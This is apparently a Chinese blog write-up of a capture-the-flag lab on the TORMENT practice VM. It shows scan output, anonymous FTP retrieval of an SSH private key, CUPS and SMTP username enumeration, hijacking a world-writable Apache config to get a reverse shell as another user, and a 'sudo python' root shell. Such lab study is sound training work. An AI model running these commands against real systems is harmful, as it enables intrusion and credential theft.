靶场练习 - DIGITALWORLD.LOCAL: TORMENT

靶场搭建

下载下来后直接导入就行

IP:192.168.1.134

渗透过程

信息初收集

21/tcp    open  ftp
22/tcp    open  ssh
25/tcp    open  smtp
80/tcp    open  http
111/tcp   open  rpcbind
139/tcp   open  netbios-ssn
143/tcp   open  imap
445/tcp   open  microsoft-ds
631/tcp   open  ipp
2049/tcp  open  nfs
6667/tcp  open  irc
6668/tcp  open  irc
6669/tcp  open  irc
6672/tcp  open  vision_server
6674/tcp  open  unknown
34241/tcp open  unknown
37697/tcp open  unknown
40271/tcp open  unknown
43443/tcp open  unknown
21/tcp    open  ftp         vsftpd 2.0.8 or later
22/tcp    open  ssh         OpenSSH 7.4p1 Debian 10+deb9u4 (protocol 2.0)
25/tcp    open  smtp        Postfix smtpd
80/tcp    open  http        Apache httpd 2.4.25
111/tcp   open  rpcbind     2-4 (RPC #100000)
139/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
143/tcp   open  imap        Dovecot imapd
445/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
631/tcp   open  ipp         CUPS 2.2
2049/tcp  open  nfs         3-4 (RPC #100003)
6667/tcp  open  irc         ngircd
6668/tcp  open  irc         ngircd
6669/tcp  open  irc         ngircd
6672/tcp  open  irc         ngircd
6674/tcp  open  irc         ngircd
34241/tcp open  nlockmgr    1-4 (RPC #100021)
37697/tcp open  mountd      1-3 (RPC #100005)
40271/tcp open  mountd      1-3 (RPC #100005)
43443/tcp open  mountd      1-3 (RPC #100005)
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
[06:57:38] 301 -  306B  - /manual  ->  http://192.168.1.134/manual/         
[06:57:38] 200 -  201B  - /manual/index.html
[06:57:57] 200 -   61B  - /secret  

ftp允许匿名用户访问

┌──(root㉿kali)-[~/Desktop]
└─# ftp ftp@192.168.1.134            
Connected to 192.168.1.134.
220 vsftpd (broken)
331 Please specify the password.
Password: 
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls -al
229 Entering Extended Passive Mode (|||48166|)
150 Here comes the directory listing.
drwxr-xr-x   11 ftp      ftp          4096 May 03 18:56 .
drwxr-xr-x   11 ftp      ftp          4096 May 03 18:56 ..
drwxr-xr-x    2 ftp      ftp          4096 Dec 31  2018 .cups
drwxr-xr-x    2 ftp      ftp          4096 Dec 31  2018 .ftp
drwxr-xr-x    2 ftp      ftp          4096 Dec 31  2018 .imap
drwxr-xr-x    2 ftp      ftp          4096 Dec 31  2018 .mysql
drwxr-xr-x    2 ftp      ftp          4096 Dec 31  2018 .nfs
drwxr-xr-x    2 ftp      ftp          4096 Jan 04  2019 .ngircd
drwxr-xr-x    2 ftp      ftp          4096 Dec 31  2018 .samba
drwxr-xr-x    2 ftp      ftp          4096 Dec 31  2018 .smtp
drwxr-xr-x    2 ftp      ftp          4096 Jan 04  2019 .ssh
-rw-r--r--    1 ftp      ftp        112640 Dec 28  2018 alternatives.tar.0
-rw-r--r--    1 ftp      ftp          4984 Dec 23  2018 alternatives.tar.1.gz
-rw-r--r--    1 ftp      ftp         95760 Dec 28  2018 apt.extended_states.0
-rw-r--r--    1 ftp      ftp         10513 Dec 27  2018 apt.extended_states.1.gz
-rw-r--r--    1 ftp      ftp         10437 Dec 26  2018 apt.extended_states.2.gz
-rw-r--r--    1 ftp      ftp           559 Dec 23  2018 dpkg.diversions.0
-rw-r--r--    1 ftp      ftp           229 Dec 23  2018 dpkg.diversions.1.gz
-rw-r--r--    1 ftp      ftp           229 Dec 23  2018 dpkg.diversions.2.gz
-rw-r--r--    1 ftp      ftp           229 Dec 23  2018 dpkg.diversions.3.gz
-rw-r--r--    1 ftp      ftp           229 Dec 23  2018 dpkg.diversions.4.gz
-rw-r--r--    1 ftp      ftp           229 Dec 23  2018 dpkg.diversions.5.gz
-rw-r--r--    1 ftp      ftp           229 Dec 23  2018 dpkg.diversions.6.gz
-rw-r--r--    1 ftp      ftp           505 Dec 28  2018 dpkg.statoverride.0
-rw-r--r--    1 ftp      ftp           295 Dec 28  2018 dpkg.statoverride.1.gz
-rw-r--r--    1 ftp      ftp           295 Dec 28  2018 dpkg.statoverride.2.gz
-rw-r--r--    1 ftp      ftp           295 Dec 28  2018 dpkg.statoverride.3.gz
-rw-r--r--    1 ftp      ftp           295 Dec 28  2018 dpkg.statoverride.4.gz
-rw-r--r--    1 ftp      ftp           281 Dec 27  2018 dpkg.statoverride.5.gz
-rw-r--r--    1 ftp      ftp           208 Dec 23  2018 dpkg.statoverride.6.gz
-rw-r--r--    1 ftp      ftp       1719127 Jan 01  2019 dpkg.status.0
-rw-r--r--    1 ftp      ftp        493252 Jan 01  2019 dpkg.status.1.gz
-rw-r--r--    1 ftp      ftp        493252 Jan 01  2019 dpkg.status.2.gz
-rw-r--r--    1 ftp      ftp        492279 Dec 28  2018 dpkg.status.3.gz
-rw-r--r--    1 ftp      ftp        492279 Dec 28  2018 dpkg.status.4.gz
-rw-r--r--    1 ftp      ftp        489389 Dec 28  2018 dpkg.status.5.gz
-rw-r--r--    1 ftp      ftp        470278 Dec 27  2018 dpkg.status.6.gz
-rw-------    1 ftp      ftp          1010 Dec 31  2018 group.bak
-rw-------    1 ftp      ftp           840 Dec 31  2018 gshadow.bak
-rw-------    1 ftp      ftp          2485 Dec 31  2018 passwd.bak
-rw-------    1 ftp      ftp          1575 Dec 31  2018 shadow.bak
226 Directory send OK.

.ssh下的那个私钥可能比较有价值,下载下来康康

┌──(root㉿kali)-[~/Desktop/test]
└─# wget ftp://192.168.1.134/.ssh/id_rsa

但是不知道用户名是什么,继续收集

631端口第一次见,是打印服务的通信协议,通过浏览器访问能够看到打印机的信息,通过打印机的名字得到用户名。搞个脚本提取一下。

使用新学的流编辑方法提取用户名:curl -s http://192.168.1.134:631/printers/ | grep Personal | cut -d/ -f3 | cut -d '&' -f1 > username

通过25端口的的邮件服务器判断下哪个账号存在

msf6 auxiliary(scanner/smtp/smtp_enum) > show options 

Module options (auxiliary/scanner/smtp/smtp_enum):

   Name       Current Setting         Required  Description
   ----       ---------------         --------  -----------
   RHOSTS     192.168.1.134           yes       The target host(s), see https://docs.metasploit.com/docs/using-metasplo
                                                it/basics/using-metasploit.html
   RPORT      25                      yes       The target port (TCP)
   THREADS    1                       yes       The number of concurrent threads (max one per host)
   UNIXONLY   true                    yes       Skip Microsoft bannered servers when testing unix users
   USER_FILE  /root/Desktop/username  yes       The file that contains a list of probable users accounts.


View the full module info with the info, or info -d command.

msf6 auxiliary(scanner/smtp/smtp_enum) > run

[*] 192.168.1.134:25      - 192.168.1.134:25 Banner: 220 TORMENT.localdomain ESMTP Postfix (Debian/GNU)
[+] 192.168.1.134:25      - 192.168.1.134:25 Users found: Patrick, Qiu
[*] 192.168.1.134:25      - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

Patrick, Qiu两个账号存在,但是尝试使用私钥登陆的时候发现还需要passphrase,所以还需要进一步收集信息。

重新翻了ftp的文件,发现.ngircd文件夹下有一些信息

channels:
games
tormentedprinter

是聊天室,使用IRC的客户端连接至服务器上查看信息


IRC(Internet Relay Chat)是一种实时的多用户聊天系统,许多软件和客户端都兼容IRC协议。一些常见的IRC客户端包括:

  1. mIRC: 运行在Windows平台上的流行IRC客户端,拥有丰富的功能和用户友好的界面。
  2. HexChat: 一款开源的IRC客户端,可在Windows和Linux平台上运行,它是XChat的一个分支。
  3. XChat: 一款开源的IRC客户端,最初是为Unix-like系统设计的,后来也移植到了Windows上。
  4. Irssi: 一个文本模式的IRC客户端,通常在Unix-like系统上使用,它以其稳定性和可扩展性而闻名。
  5. WeeChat: 另一个文本模式的IRC客户端,与Irssi类似,也是在Unix-like系统上广泛使用的。
  6. ChatZilla: 一个基于Mozilla平台的IRC客户端插件,可以作为Firefox或SeaMonkey的扩展使用。

总的来说,有许多IRC客户端可供选择,用户可以根据自己的需求和偏好来选择合适的客户端。


我这边用2,先按装上软件

添加网络,设置服务的端口,然后使用默认密码wealllikedebian进行连接

lvrobsff.png

加入tormentedprinter频道

lvrocg7n.png

拿到密码mostmachineshaveasupersecurekeyandalongpassphrase

lvrocswo.png

然后可以ssh登录patrick账号了

提权

查看sudo权限

patrick@TORMENT:~$ sudo -l
Matching Defaults entries for patrick on TORMENT:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User patrick may run the following commands on TORMENT:
    (ALL) NOPASSWD: /bin/systemctl poweroff, /bin/systemctl halt, /bin/systemctl reboot

有关机和重启权限,没什么用

查一下777权限文件

patrick@TORMENT:~$ find / -type f -perm 777 2>/dev/null
/etc/apache2/apache2.conf
/var/www/html/index.html

看到了apache的配置文件能进行读写

将用户qiu添加到apache的执行用户当中,这样反弹shell的时候可能由qiu进行执行,然后拿到这个账户的shell。

配置成一下内容(添加qiu进去)

# These need to be set in /etc/apache2/envvars
User ${APACHE_RUN_USER}
Group ${APACHE_RUN_GROUP}
User qiu

上传一个shell.php到/var/www/html/下,等反弹shell

然后使用sudo权限重启:sudo systemctl reboot

重启好以后,监听,触发shell.php就能拿到qiu用户权限的终端。

查看一下sudo权限

$ id
uid=1000(qiu) gid=33(www-data) groups=33(www-data),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev),113(bluetooth),114(lpadmin),118(scanner)
$ sudo -l
Matching Defaults entries for qiu on TORMENT:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User qiu may run the following commands on TORMENT:
    (ALL) NOPASSWD: /usr/bin/python, /bin/systemctl

发现有python的sudo权限,那就直接提权!

$ sudo python -c 'import pty;pty.spawn("/bin/bash")'
root@TORMENT:/# whoami
whoami
root

拿到了root权限

小结

没有漏洞利用过程,直接收集信息进来的,认识了一个IRC聊天服务器。但是感觉实战应该也遇不上==、

评论区
头像
文章目录